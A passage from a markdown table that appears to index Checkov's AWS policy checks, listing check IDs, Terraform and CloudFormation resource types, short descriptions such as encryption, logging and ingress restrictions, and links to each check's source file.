| [KMSKeyIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KMSKeyIsEnabled.py)                                                                                                 |\n|  627 | CKV_AWS_228              | resource                         | aws_elasticsearch_domain                                                                         | Verify Elasticsearch domain is using an up to date TLS policy                                                                                                                                            | Terraform               | [ElasticsearchTLSPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchTLSPolicy.py)                                                                                   |\n|  628 | CKV_AWS_228              | resource                         | aws_opensearch_domain                                                                            | Verify Elasticsearch domain is using an up to date TLS policy                                                                                                                                            | Terraform               | [ElasticsearchTLSPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchTLSPolicy.py)                                                                                   |\n|  629 | CKV_AWS_229              | resource                         | aws_network_acl                                                                                  | Ensure no NACL allow ingress from 0.0.0.0:0 to port 21                                                                                                                                                   | Terraform               | [NetworkACLUnrestrictedIngress21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress21.py)                                                                 |\n|  630 | CKV_AWS_229              | resource                         | aws_network_acl_rule                                                                             | Ensure no NACL allow ingress from 0.0.0.0:0 to port 21                                                                                                                                                   | Terraform               | [NetworkACLUnrestrictedIngress21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress21.py)                                                                 |\n|  631 | CKV_AWS_230              | resource                         | aws_network_acl                                                                                  | Ensure no NACL allow ingress from 0.0.0.0:0 to port 20                                                                                                                                                   | Terraform               | [NetworkACLUnrestrictedIngress20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress20.py)                                                                 |\n|  632 | CKV_AWS_230              | resource                         | aws_network_acl_rule                                                                             | Ensure no NACL allow ingress from 0.0.0.0:0 to port 20                                                                                                                                                   | Terraform               | [NetworkACLUnrestrictedIngress20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress20.py)                                                                 |\n|  633 | CKV_AWS_231              | resource                         | aws_network_acl                                                                                  | Ensure no NACL allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                                 | Terraform               | [NetworkACLUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress3389.py)                                                             |\n|  634 | CKV_AWS_231              | resource                         | aws_network_acl_rule                                                                             | Ensure no NACL allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                                 | Terraform               | [NetworkACLUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress3389.py)                                                             |\n|  635 | CKV_AWS_232              | resource                         | aws_network_acl                                                                                  | Ensure no NACL allow ingress from 0.0.0.0:0 to port 22                                                                                                                                                   | Terraform               | [NetworkACLUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress22.py)                                                                 |\n|  636 | CKV_AWS_232              | resource                         | aws_network_acl_rule                                                                             | Ensure no NACL allow ingress from 0.0.0.0:0 to port 22                                                                                                                                                   | Terraform               | [NetworkACLUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress22.py)                                                                 |\n|  637 | CKV_AWS_233              | resource                         | aws_acm_certificate                                                                              | Ensure Create before destroy for ACM certificates                                                                                                                                                        | Terraform               | [ACMCertCreateBeforeDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ACMCertCreateBeforeDestroy.py)                                                                           |\n|  638 | CKV_AWS_234              | resource                         | aws_acm_certificate                                                                              | Verify logging preference for ACM certificates                                                                                                                                                           | Terraform               | [ACMCertSetLoggingPreference.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ACMCertSetLoggingPreference.py)                                                                         |\n|  639 | CKV_AWS_235              | resource                         | aws_ami_copy                                                                                     | Ensure that copied AMIs are encrypted                                                                                                                                                                    | Terraform               | [AMICopyIsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMICopyIsEncrypted.py)                                                                                           |\n|  640 | CKV_AWS_236              | resource                         | aws_ami_copy                                                                                     | Ensure AMI copying uses a CMK                                                                                                                                                                            | Terraform               | [AMICopyUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AMICopyUsesCMK.py)                                                                                                   |\n|  641 | CKV_AWS_237              | resource                         | aws_api_gateway_rest_api                                                                         | Ensure Create before destroy for API Gateway                                                                                                                                                             | Terraform               | [APIGatewayCreateBeforeDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayCreateBeforeDestroy.py)                                                                     |\n|  642 | CKV_AWS_238              | resource                         | aws_guardduty_detector                                                                           | Ensure that GuardDuty detector is enabled                                                                                                                                                                | Terraform               | [GuarddutyDetectorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GuarddutyDetectorEnabled.py)                                                                               |\n|  643 | CKV_AWS_239              | resource                         | aws_dax_cluster                                                                                  | Ensure DAX cluster endpoint is using TLS                                                                                                                                                                 | Terraform               | [DAXEndpointTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DAXEndpointTLS.py)                                                                                                   |\n|  644 | CKV_AWS_240              | resource                         | aws_kinesis_firehose_delivery_stream                                                             | Ensure Kinesis Firehose delivery stream is encrypted                                                                                                                                                     | Terraform               | [KinesisFirehoseDeliveryStreamSSE.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisFirehoseDeliveryStreamSSE.py)                                                               |\n|  645 | CKV_AWS_241              | resource                         | aws_kinesis_firehose_delivery_stream                                                             | Ensure that Kinesis Firehose Delivery Streams are encrypted with CMK                                                                                                                                     | Terraform               | [KinesisFirehoseDeliveryStreamUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KinesisFirehoseDeliveryStreamUsesCMK.py)                                                       |\n|  646 | CKV_AWS_242              | resource                         | aws_mwaa_environment                                                                             | Ensure MWAA environment has scheduler logs enabled                                                                                                                                                       | Terraform               | [MWAASchedulerLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MWAASchedulerLogsEnabled.py)                                                                               |\n|  647 | CKV_AWS_243              | resource                         | aws_mwaa_environment                                                                             | Ensure MWAA environment has worker logs enabled                                                                                                                                                          | Terraform               | [MWAAWorkerLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MWAAWorkerLogsEnabled.py)                                                                                     |\n|  648 | CKV_AWS_244              | resource                         | aws_mwaa_environment                                                                             | Ensure MWAA environment has webserver logs enabled                                                                                                                                                       | Terraform               | [MWAAWebserverLogsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MWAAWebserverLogsEnabled.py)                                                                               |\n|  649 | CKV_AWS_245              | resource                         | aws_db_instance_automated_backups_replication                                                    | Ensure replicated backups are encrypted at rest using KMS CMKs                                                                                                                                           | Terraform               | [RDSInstanceAutoBackupEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstanceAutoBackupEncryptionWithCMK.py)                                                   |\n|  650 | CKV_AWS_246              | resource                         | aws_rds_cluster_activity_stream                                                                  | Ensure RDS Cluster activity streams are encrypted using KMS CMKs                                                                                                                                         | Terraform               | [RDSClusterActivityStreamEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterActivityStreamEncryptedWithCMK.py)                                               |\n|  651 | CKV_AWS_247              | resource                         | aws_elasticsearch_domain                                                                         | Ensure all data stored in the Elasticsearch is encrypted with a CMK                                                                                                                                      | Terraform               | [ElasticsearchEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryptionWithCMK.py)                                                                   |\n|  652 | CKV_AWS_247              | resource                         | aws_opensearch_domain                                                                            | Ensure all data stored in the Elasticsearch is encrypted with a CMK                                                                                                                                      | Terraform               | [ElasticsearchEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchEncryptionWithCMK.py)                                                                   |\n|  653 | CKV_AWS_248              | resource                         | aws_elasticsearch_domain                                                                         | Ensure that Elasticsearch is not using the default Security Group                                                                                                                                        | Terraform               | [ElasticsearchDefaultSG.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDefaultSG.py)                                                                                   |\n|  654 | CKV_AWS_248              | resource                         | aws_opensearch_domain                                                                            | Ensure that Elasticsearch is not using the default Security Group                                                                                                                                        | Terraform               | [ElasticsearchDefaultSG.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDefaultSG.py)                                                                                   |\n|  655 | CKV_AWS_249              | resource                         | aws_ecs_task_definition                                                                          | Ensure that the Execution Role ARN and the Task Role ARN are different in ECS Task definitions                                                                                                           | Terraform               | [ECSTaskDefinitionRoleCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSTaskDefinitionRoleCheck.py)                                                                           |\n|  656 | CKV_AWS_250              | resource                         | aws_db_instance                                                                                  | Ensure that RDS PostgreSQL instances use a non vulnerable version with the log_fdw extension (https://aws.amazon.com/security/security-bulletins/AWS-2022-004/)                                          | Terraform               | [RDSPostgreSQLLogFDWExtension.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPostgreSQLLogFDWExtension.py)                                                                       |\n|  657 | CKV_AWS_250              | resource                         | aws_rds_cluster                                                                                  | Ensure that RDS PostgreSQL instances use a non vulnerable version with the log_fdw extension (https://aws.amazon.com/security/security-bulletins/AWS-2022-004/)                                          | Terraform               | [RDSPostgreSQLLogFDWExtension.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSPostgreSQLLogFDWExtension.py)                                                                       |\n|  658 | CKV_AWS_251              | resource                         | aws_cloudtrail                                                                                   | Ensure CloudTrail logging is enabled                                                                                                                                                                     | Terraform               | [CloudtrailEnableLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailEnableLogging.py)                                                                                 |\n|  659 | CKV_AWS_252              | resource                         | aws_cloudtrail                                                                                   | Ensure CloudTrail defines an SNS Topic                                                                                                                                                                   | Terraform               | [CloudtrailDefinesSNSTopic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailDefinesSNSTopic.py)                                                                             |\n|  660 | CKV_AWS_253              | resource                         | aws_dlm_lifecycle_policy                                                                         | Ensure DLM cross region events are encrypted                                                                                                                                                             | Terraform               | [DLMEventsCrossRegionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMEventsCrossRegionEncryption.py)                                                                   |\n|  661 | CKV_AWS_254              | resource                         | aws_dlm_lifecycle_policy                                                                         | Ensure DLM cross region events are encrypted with Customer Managed Key                                                                                                                                   | Terraform               | [DLMEventsCrossRegionEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMEventsCrossRegionEncryptionWithCMK.py)                                                     |\n|  662 | CKV_AWS_255              | resource                         | aws_dlm_lifecycle_policy                                                                         | Ensure DLM cross region schedules are encrypted                                                                                                                                                          | Terraform               | [DLMScheduleCrossRegionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMScheduleCrossRegionEncryption.py)                                                               |\n|  663 | CKV_AWS_256              | resource                         | aws_dlm_lifecycle_policy                                                                         | Ensure DLM cross region schedules are encrypted using a Customer Managed Key                                                                                                                             | Terraform               | [DLMScheduleCrossRegionEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DLMScheduleCrossRegionEncryptionWithCMK.py)                                                 |\n|  664 | CKV_AWS_257              | resource                         | aws_codecommit_approval_rule_template                                                            | Ensure CodeCommit branch changes have at least 2 approvals                                                                                                                                               | Terraform               | [CodecommitApprovalsRulesRequireMin2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodecommitApprovalsRulesRequireMin2.py)                                                         |\n|  665 | CKV_AWS_258              | resource                         | AWS::Lambda::Url                                                                                 | Ensure that Lambda function URLs AuthType is not None                                                                                                                                                    | Cloudformation          | [LambdaFunctionURLAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaFunctionURLAuth.py)                                                                                |\n|  666 | CKV_AWS_258              | resource                         | aws_lambda_function_url                                                                          | Ensure that Lambda function URLs AuthType is not None                                                                                                                                                    | Terraform               | [LambdaFunctionURLAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaFunctionURLAuth.py)                                                                                     |\n|  667 | CKV_AWS_259              | resource                         | aws_cloudfront_response_headers_policy                                                           | Ensure CloudFront response header policy enforces Strict Transport Security                                                                                                                              | Terraform               | [CloudFrontResponseHeaderStrictTransportSecurity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudFrontResponseHeaderStrictTransportSecurity.py)                                 |\n|  668 | CKV_AWS_260              | resource                         | AWS::EC2::SecurityGroup                                                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80                                                                                                                                        | Cloudformation          | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py)                                                      |\n|  669 | CKV_AWS_260              | resource                         | AWS::EC2::SecurityGroupIngress                                                                   | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80                                                                                                                                        | Cloudformation          | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py)                                                      |\n|  670 | CKV_AWS_260              | resource                         | aws_security_group                                                                               | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80                                                                                                                                        | Terraform               | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py)                                                           |\n|  671 | CKV_AWS_260              | resource                         | aws_security_group_rule                                                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80                                                                                                                                        | Terraform               | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py)                                                           |\n|  672 | CKV_AWS_260              | resource                         | aws_vpc_security_group_ingress_rule                                                              | Ensure no security groups allow ingress from 0.0.0.0:0 to port 80                                                                                                                                        | Terraform               | [SecurityGroupUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngress80.py)                                                           |\n|  673 | CKV_AWS_261              | resource                         | aws_alb_target_group                                                                             | Ensure HTTP HTTPS Target group defines Healthcheck                                                                                                                                                       | Terraform               | [LBTargetGroupsDefinesHealthcheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBTargetGroupsDefinesHealthcheck.py)                                                               |\n|  674 | CKV_AWS_261              | resource                         | aws_lb_target_group                                                                              | Ensure HTTP HTTPS Target group defines Healthcheck                                                                                                                                                       | Terraform               | [LBTargetGroupsDefinesHealthcheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LBTargetGroupsDefinesHealthcheck.py)                                                               |\n|  675 | CKV_AWS_262              | resource                         | aws_kendra_index                                                                                 | Ensure Kendra index Server side encryption uses CMK                                                                                                                                                      | Terraform               | [KendraIndexSSEUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KendraIndexSSEUsesCMK.py)                                                                                     |\n|  676 | CKV_AWS_263              | resource                         | aws_appflow_flow                                                                                 | Ensure AppFlow flow uses CMK                                                                                                                                                                             | Terraform               | [AppFlowUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppFlowUsesCMK.py)                                                                                                   |\n|  677 | CKV_AWS_264              | resource                         | aws_appflow_connector_profile                                                                    | Ensure AppFlow connector profile uses CMK                                                                                                                                                                | Terraform               | [AppFlowConnectorProfileUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AppFlowConnectorProfileUsesCMK.py)                                                                   |\n|  678 | CKV_AWS_265              | resource                         | aws_keyspaces_table                                                                              | Ensure Keyspaces Table uses CMK                                                                                                                                                                          | Terraform               | [KeyspacesTableUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/KeyspacesTableUsesCMK.py)                                                                                     |\n|  679 | CKV_AWS_266              | resource                         | aws_db_snapshot_copy                                                                             | Ensure DB Snapshot copy uses CMK                                                                                                                                                                         | Terraform               | [DBSnapshotCopyUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBSnapshotCopyUsesCMK.py)                                                                                     |\n|  680 | CKV_AWS_267              | resource                         | aws_comprehend_entity_recognizer                                                                 | Ensure that Comprehend Entity Recognizer's model is encrypted by KMS using a customer managed Key (CMK)                                                                                                  | Terraform               | [ComprehendEntityRecognizerModelUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ComprehendEntityRecognizerModelUsesCMK.py)                                                   |\n|  681 | CKV_AWS_268              | resource                         | aws_comprehend_entity_recognizer                                                                 | Ensure that Comprehend Entity Recognizer's volume is encrypted by KMS using a customer managed Key (CMK)                                                                                                 | Terraform               | [ComprehendEntityRecognizerVolumeUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ComprehendEntityRecognizerVolumeUsesCMK.py)                                                 |\n|  682 | CKV_AWS_269              | resource                         | aws_connect_instance_storage_config                                                              | Ensure Connect Instance Kinesis Video Stream Storage Config uses CMK                                                                                                                                     | Terraform               | [ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ConnectInstanceKinesisVideoStreamStorageConfigUsesCMK.py)                     |\n|  683 | CKV_AWS_270              | resource                         | aws_connect_instance_storage_config                                                              | Ensure Connect Instance S3 Storage Config uses CMK                                                                                                                                                       | Terraform               | [ConnectInstanceS3StorageConfigUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ConnectInstanceS3StorageConfigUsesCMK.py)                                                     |\n|  684 | CKV_AWS_271              | resource                         | aws_dynamodb_table_replica                                                                       | Ensure DynamoDB table replica KMS encryption uses CMK                                                                                                                                                    | Terraform               | [DynamoDBTableReplicaKMSUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamoDBTableReplicaKMSUsesCMK.py)                                                                   |\n|  685 | CKV_AWS_272              | resource                         | aws_lambda_function                                                                              | Ensure AWS Lambda function is configured to validate code-signing                                                                                                                                        | Terraform               | [LambdaCodeSigningConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaCodeSigningConfigured.py)                                                                         |\n|  686 | CKV_AWS_273              | resource                         | aws_iam_user                                                                                     | Ensure access is controlled through SSO and not AWS IAM defined users                                                                                                                                    | Terraform               | [IAMUserNotUsedForAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMUserNotUsedForAccess.py)                                                                                 |\n|  687 | CKV_AWS_274              | resource                         | aws_iam_group_policy_attachment                                                                  | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy                                                                                                                      | Terraform               | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py)                                                                                     |\n|  688 | CKV_AWS_274              | resource                         | aws_iam_policy_attachment                                                                        | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy                                                                                                                      | Terraform               | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py)                                                                                     |\n|  689 | CKV_AWS_274              | resource                         | aws_iam_role                                                                                     | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy                                                                                                                      | Terraform               | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py)                                                                                     |\n|  690 | CKV_AWS_274              | resource                         | aws_iam_role_policy_attachment                                                                   | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy                                                                                                                      | Terraform               | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py)                                                                                     |\n|  691 | CKV_AWS_274              | resource                         | aws_iam_user_policy_attachment                                                                   | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy                                                                                                                      | Terraform               | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py)                                                                                     |\n|  692 | CKV_AWS_274              | resource                         | aws_ssoadmin_managed_policy_attachment                                                           | Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy                                                                                                                      | Terraform               | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py)                                                                                     |\n|  693 | CKV_AWS_275              | data                             | aws_iam_policy                                                                                   | Disallow policies from using the AWS AdministratorAccess policy                                                                                                                                          | Terraform               | [IAMManagedAdminPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMManagedAdminPolicy.py)                                                                                         |\n|  694 | CKV_AWS_276              | resource                         | aws_api_gateway_method_settings                                                                  | Ensure Data Trace is not enabled in API Gateway Method Settings                                                                                                                                          | Terraform               | [APIGatewayMethodSettingsDataTrace.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsDataTrace.py)                                                             |\n|  695 | CKV_AWS_277              | resource                         | aws_security_group                                                                               | Ensure no security groups allow ingress from 0.0.0.0:0 to port -1                                                                                                                                        | Terraform               | [SecurityGroupUnrestrictedIngressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py)                                                         |\n|  696 | CKV_AWS_277              | resource                         | aws_security_group_rule                                                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port -1                                                                                                                                        | Terraform               | [SecurityGroupUnrestrictedIngressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py)                                                         |\n|  697 | CKV_AWS_277              | resource                         | aws_vpc_security_group_ingress_rule                                                              | Ensure no security groups allow ingress from 0.0.0.0:0 to port -1                                                                                                                                        | Terraform               | [SecurityGroupUnrestrictedIngressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedIngressAny.py)                                                         |\n|  698 | CKV_AWS_278              | resource                         | aws_memorydb_snapshot                                                                            | Ensure MemoryDB snapshot is encrypted by KMS using a customer managed Key (CMK)                                                                                                                          | Terraform               | [MemoryDBSnapshotEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MemoryDBSnapshotEncryptionWithCMK.py)                                                             |\n|  699 | CKV_AWS_279              | resource                         | aws_neptune_cluster_snapshot                                                                     | Ensure Neptune snapshot is securely encrypted                                                                                                                                                            | Terraform               | [NeptuneClusterSnapshotEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterSnapshotEncrypted.py)                                                                 |\n|  700 | CKV_AWS_280              | resource                         | aws_neptune_cluster_snapshot                                                                     | Ensure Neptune snapshot is encrypted by KMS using a customer managed Key (CMK)                                                                                                                           | Terraform               | [NeptuneClusterSnapshotEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterSnapshotEncryptedWithCMK.py)                                                   |\n|  701 | CKV_AWS_281              | resource                         | aws_redshift_snapshot_copy_grant                                                                 | Ensure RedShift snapshot copy is encrypted by KMS using a customer managed Key (CMK)                                                                                                                     | Terraform               | [RedshiftClusterSnapshotCopyGrantEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterSnapshotCopyGrantEncryptedWithCMK.py)                               |\n|  702 | CKV_AWS_282              | resource                         | aws_redshiftserverless_namespace                                                                 | Ensure that Redshift Serverless namespace is encrypted by KMS using a customer managed key (CMK)                                                                                                         | Terraform               | [RedshiftServerlessNamespaceKMSKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftServerlessNamespaceKMSKey.py)                                                             |\n|  703 | CKV_AWS_283              | data                             | aws_iam_policy_document                                                                          | Ensure no IAM policies documents allow ALL or any AWS principal permissions to the resource                                                                                                              | Terraform               | [IAMPublicActionsPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMPublicActionsPolicy.py)                                                                                       |\n|  704 | CKV_AWS_284              | resource                         | aws_sfn_state_machine                                                                            | Ensure State Machine has X-Ray tracing enabled                                                                                                                                                           | Terraform               | [StateMachineXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/StateMachineXray.py)                                                                                               |\n|  705 | CKV_AWS_285              | resource                         | aws_sfn_state_machine                                                                            | Ensure State Machine has execution history logging enabled                                                                                                                                               | Terraform               | [StateMachineLoggingExecutionHistory.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/StateMachineLoggingExecutionHistory.py)                                                         |\n|  706 | CKV_AWS_286              | resource                         | aws_iam_group_policy                                                                             | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Terraform               | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                                   |\n|  707 | CKV_AWS_286              | resource                         | aws_iam_policy                                                                                   | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Terraform               | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                                   |\n|  708 | CKV_AWS_286              | resource                         | aws_iam_role_policy                                                                              | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Terraform               | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                                   |\n|  709 | CKV_AWS_286              | resource                         | aws_iam_user_policy                                                                              | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Terraform               | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                                   |\n|  710 | CKV_AWS_286              | resource                         | aws_ssoadmin_permission_set_inline_policy                                                        | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Terraform               | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py)                                                                                   |\n|  711 | CKV_AWS_287              | resource                         | aws_iam_group_policy                                                                             | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Terraform               | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py)                                                                                   |\n|  712 | CKV_AWS_287              | resource                         | aws_iam_policy                                                                                   | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Terraform               | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py)                                                                                   |\n|  713 | CKV_AWS_287              | resource                         | aws_iam_role_policy                                                                              | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Terraform               | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py)                                                                                   |\n|  714 | CKV_AWS_287              | resource                         | aws_iam_user_policy                                                                              | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Terraform               | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py)                                                                                   |\n|  715 | CKV_AWS_287              | resource                         | aws_ssoadmin_permission_set_inline_policy                                                        | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Terraform               | 